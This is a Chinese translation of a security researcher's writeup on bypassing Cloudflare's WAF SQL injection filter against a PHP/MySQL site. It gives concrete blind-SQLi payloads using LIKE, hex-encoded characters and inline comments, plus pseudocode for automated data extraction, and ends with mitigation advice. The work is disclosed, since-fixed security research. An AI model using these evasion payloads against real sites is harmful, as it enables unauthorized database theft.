看我如何绕过Cloudflare 的 SQL 注入过滤
聚焦源代码安全,网罗国内外最新资讯!
作者:George Skouroupathis
编译:奇安信代码卫士团队
2018年年末,我受雇为某大客户执行 Web Application 安全评估。用自动化工具运行标准扫描后,我发现了一个有意思的事情:这款工具无法利用某个可能存在的 SQL 注入漏洞,原因就在于 Cloudflare 公司的WAF,更具体地说是其 SQL 注入过滤器。
应用详情
这款应用是用 PHP 编写的通用网站,MySQL是后端的 DBMS。易受攻击的页面用多个部分组成的表单主体数据将 POST 请求发送给 /index.php 端点。说实话我并不记得该表单的用途,不过它确实不影响 writeup。POST 请求如下:
POST /index.php HTTP/1.1
Host: ******
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=dc30b7aab06d4aff91d4285d7e60d4f3--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="126"###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="127"###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="130"...
...###### #### 6 ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="task"form.save
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="form_id"X-MARK
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="96"############
--dc30b7aab06d4aff91d4285d7e60d4f3...
...Content-Disposition: form-data; name="115[]"########## ################## #### ###### ######
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="125"###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3--
X-MARK 处未清理的参数可被用于将任意值注入SQL SELECT 查询的 WHERE 从句。如,如果以上数据被作为 POST 请求的主体发送,那么在服务器上被执行的 SQL 查询将如下:
SELECT c1,c2,c3 FROM t1 WHERE X-MARK;
用于这种注入情况的技术是基于 Time 的SQL 盲注。问题在于,Cloudflare 会识别出这些注入并将其拦截。不管我尝试如何构造查询或者使用了多少 sqlmap 修改脚本,Cloudflare 都会拦截。
为解决这个问题,我使用了在手动测试同样请求上SQL 注入漏洞的方法:我发现当我尝试注入代码时,会出现和下面 SQL 查询类似的内容:
SELECT c1,c2,c3 FROM t1 WHERE 'a'='a';
Web 服务器的响应是:状态“200 OK”。当我尝试注入代码时,会出现和如下 SQL 查询类似的内容:
SELECT c1,c2,c3 FROM t1 WHERE 'a'='b';
服务器的响应是:状态“500 内部服务器错误”。
换句话说,当后台中的 SQL 查询未返回结果时,Web 服务器会显示出错并崩溃(可能是因为后台代码试图访问返回列表中的项目,而列表的索引不在范围内)。这让我想到:编写一个脚本,比对从所要求 DBMS 实体名称中提取的字符和所有的字符。我的想法是,如果这两个字符匹配,那么服务器就会返回一个“200 OK”的状态,否则它将返回“500 内部服务器错误”状态,我必须对比所要求的字符和列表中的下一个字符。
第一次尝试
我的想法是,如果 a 想要找到第五张表格名称的第一个第二个字符(如information_schema.tables中所列),那么首先需要在 MySQL 查询该字符是否等于‘a’,如果不是,继续询问是否等于‘b’、’c’等。我首先注入如下字符串(和‘a’进行比对):
'a' =(SELECT SUBSTRING(table_name, 2, 1)FROM information_schema.tablesLIMIT 4, 1)
它将导致如下 SQL 查询在服务器上执行:
SELECT c1,c2,c3 FROM t1
WHERE 'a' =(SELECT SUBSTRING(table_name, 2, 1)FROM information_schema.tablesLIMIT 4, 1)
比如,当我发现表格名称是 t1,那么我就能通过如下注入暴力破解表栏的名称:
INJECTION 1
'a' =(SELECT SUBSTRING(column_name, 1, 1)FROM information_schema.columnsWHERE table_name = "t1"LIMIT 0, 1)
之后通过如下注入,实际上从表格 t1 的c1 栏获得了值:
'a' =(SELECT SUBSTRING(c1, 1, 1)FROM t1LIMIT 0, 1)
这个想法不错,但 Cloudflare 会抱怨“=”符号。注入:
'a' = 'b'
会遭 Cloudflare WAF 拦截。一番调整后我发现如下请求能够绕过‘=’限制:
'a' LIKE 'b'
这意味着最初的注入 INJECTION 1将变成:
'a' LIKE(SELECT SUBSTRING(column_name, 1, 1)FROM information_schema.columnsWHERE table_name = "t1"LIMIT 0, 1)
第二次尝试
INJECTION 1 仍然还存在。Cloudflare 仍然会显示出错。具体来讲,注入:
'a' LIKE 'b'
仍然被拦截。拦截的原因并不在于关键字 LIKE,而是因为字符‘a’。字符串和其它任意内容的对比都是禁止的。为了解决这个问题,我想到如下输入,WAF 并未检测出:
'0x61' LIKE 'b'
如上注入将字符‘a’以十六进制形式‘0x61’发送:
'0x61' LIKE 'a'
返回仍然是 Ture,而
'0x61' LIKE 'b'
仍未被检测到,且返回为 False。
最终的 INJECTION 1 如下:
'0x61' LIKE(SELECT SUBSTRING(column_name, 1, 1)FROM information_schema.columnsWHERE table_name = "t1"LIMIT 0, 1)
第三次尝试
我输入的第三个混淆是SQL查询关键字之间的一个多行注释。Cloudflare 会拦截如下查询:
SELECT c1,c2,c3 FROM t1 WHERE '0x61' LIKE 'b'
但通过多行注释的方式,新的查询将无法被检测到:
SELECT/*trick comment*/ c1,c2,c3
FROM/*trick comment*/ t1
WHERE '0x61' LIKE 'b'
因此,将这种方法应用到 INJECTION 1上,会出现如下结果:
'0x61' LIKE(SELECT/*trick comment*/ SUBSTRING(column_name, 1, 1)FROM/*trick comment*/ information_schema.columnsWHERE table_name = "t1"LIMIT 0, 1)
如上注入是最后的格式,当它以表单值被传递到易受攻击的 Web 应用时,Web 服务器的响应为“200 OK”,前提是字符‘a’和表格 t1 的第一栏名称的第一个字符匹配。
加速前进
为了更加容易地从应用数据库中检索到表格内容,我写了一个 Python 脚本使这个流程自动化。该脚本的伪代码如下:
# assert names of columns and table name is known
alphabet = [a,b,c,...,y,z]
characterPosition = 1 # the position of the character we are bruteforcing
for rowNumber in [0,20]:for columnName in columns:for character in alphabet:sqlInjection = '''0x{hex_encode(character)} LIKE (SELECT/*trick comment*/ SUBSTRING({columnName}, characterPosition,1)FROM/*trick comment*/ tableNameLIMIT {rowNumber}, 1)'''inject sqlInjection is POST request bodyif response.status == 200:result += characterrecurse function with characterPosition++elif response.status == 500:continue with next character in alphabetreturn result
这就是我绕过 Cloudflare WAFSQL 注入防护措施的方法。最终我得到了一件免费的 T 恤并入选 Cloudflare 公司的名人堂。
缓解措施
提交报告几天后,Cloudflare 公司审计并修复了该漏洞。
缓解数据库上 SQL 注入漏洞的最安全方法是预处理语句。这些语句包含在大多数语言的多数数据库交互库中。OWASP提供了很多缓解 SQL 注入漏洞的方法。我认为如果开发人员注意在其应用程序上应用安全措施,则 WAF 在大多数情况下是没有必要的。我们所需要做的就是正确清理用户的输入。
推荐阅读
史无前例:微软 SQL Server 被黑客组织安上了后门 skip-2.0(来看技术详情)
【缺陷周话】第 2 期 :SQL 注入
原文链接
https://www.astrocamel.com/web/2020/09/04/how-i-bypassed-cloudflares-sql-injection-filter.html
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 www.codesafe.cn”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。
觉得不错,就点个 “在看” 吧~
看我如何绕过Cloudflare 的 SQL 注入过滤相关推荐
- php采集绕过cloudflare,绕过Cloudflare进行SQL注入 bypass cloudflare
绕过Cloudflare的waf进行SQL注入 有关应用程序的详细信息 该应用程序是一个用PHP编写的通用网站,其中MySQL作为后端DBMS.易受攻击的页面向/index.php端点提交了包含多部分 ...
- 实战绕过WTS-WAF的SQL注入
实战绕过WTS-WAF的SQL注入 1.前言 2.测试流程 2.1.发现漏洞 2.1.1.正常页面 2.1.2.WAF警告 2.1.3.非正常页面 2.2.判断字段数 2.2.1.非正常页面 2.2. ...
- SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战
SQL注入简介 SQL注入原理 SQL注入是通过将恶意的sql语句插入到应用代码中,由于过滤不严导致的在后台执行恶意sql语句而产生的漏洞. SQL注入类型 注入参数:数字型注入.字符型注入.搜索型注 ...
- mysql注入单引号被过滤_避开sql注入过滤的几个方法
有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷. 唱出会删除或者净化一些字符,或者阻止常用的sql关键词. 我们通常有以下几种技巧,去避开这 ...
- CTFHub_技能树_Web之SQL注入——过滤空格
文章目录 一.过滤空格的绕过 二.注入过程 Ⅰ.爆表名 Ⅱ.爆列名 Ⅲ.爆flag 一.过滤空格的绕过 一般注入语句为 ?id=0 union select database(),user() 由于过 ...
- php+mysql防注入字符串过滤_php 防sql注入过滤代码
我们提供了三个函数不来过滤一些特殊的字符,主要是利用php把sql敏感字符串给过滤掉了,好了下面来看看这款代码吧,有需要的朋友拿去看看,实例代码如下: function phpsql_show($st ...
- Sophos 修复 Cyberoam OS 中的 SQL 注入漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 Sophos 公司为 Cyberoam 防火墙和路由器发布热补丁,修复一个 SQL 注入漏洞. Sophos 在2014年收购防火墙和 ...
- sql注入_1-7_绕过注入
文章目录 一.sql注入绕过概念 二.sql注入绕过手段 三.sql绕过演示 四.总结 一.sql注入绕过概念 1.为什么要绕过? 因为有时候存在注入,但是很多符号被过滤掉, 所以我们不的不使用绕过手 ...
- 【SQL注入17】绕过手法与防御
目录 1 绕过 1.1 符号绕过方法 1.2 关键字绕过方法 2 SQL注入防御措施 3 总结 参考文献 1 绕过 最终目的是让后台执行的语句是我们想要的. 1.1 符号绕过方法 基础情形:字符串常用 ...
最新文章
- 微软压力测试工具 web application stress
- 轻量级NLP工具开源,中文处理更精准,超越斯坦福Stanza
- 如果你不习惯新版的 Github 的 UI 界面,可以试试这款插件
- stm32之USB应用实例(官方例程资料下载使用)
- Dubbo原理与框架设计
- 如何在Scala中将Double转换为String?
- mysql集群如何保障数据分布均匀_如何保证数据库集群时候,主从库一致性的问题?...
- Exception in thread main java.lang.NoClassDefFoundError
- Flink-org.apache.flink.api.common.functions.AggregateFunction
- jmeter测试mysql数据库_【JMeter】JMeter完成一个MySql压力测试
- 部署http+svn,yum安装svn 1.9版本
- logistic回归分析优点_一文详尽系列之逻辑回归
- 虚拟机桥接模式下设置桥接的网卡
- 【Word】论文公式居中,编号右对齐
- 训练集,验证集与测试集
- Invalid classes inferred from unique values of `y`. Expected: [0 1 2], got [1 2 3]
- sap清账使用反记账_【转】SAP反记账功能祥解
- c语言自定义创建文件,c语言自定义文件名?
- 使用font-face艺术字失效
- delphi RichEdit控件中插入GIF动画表情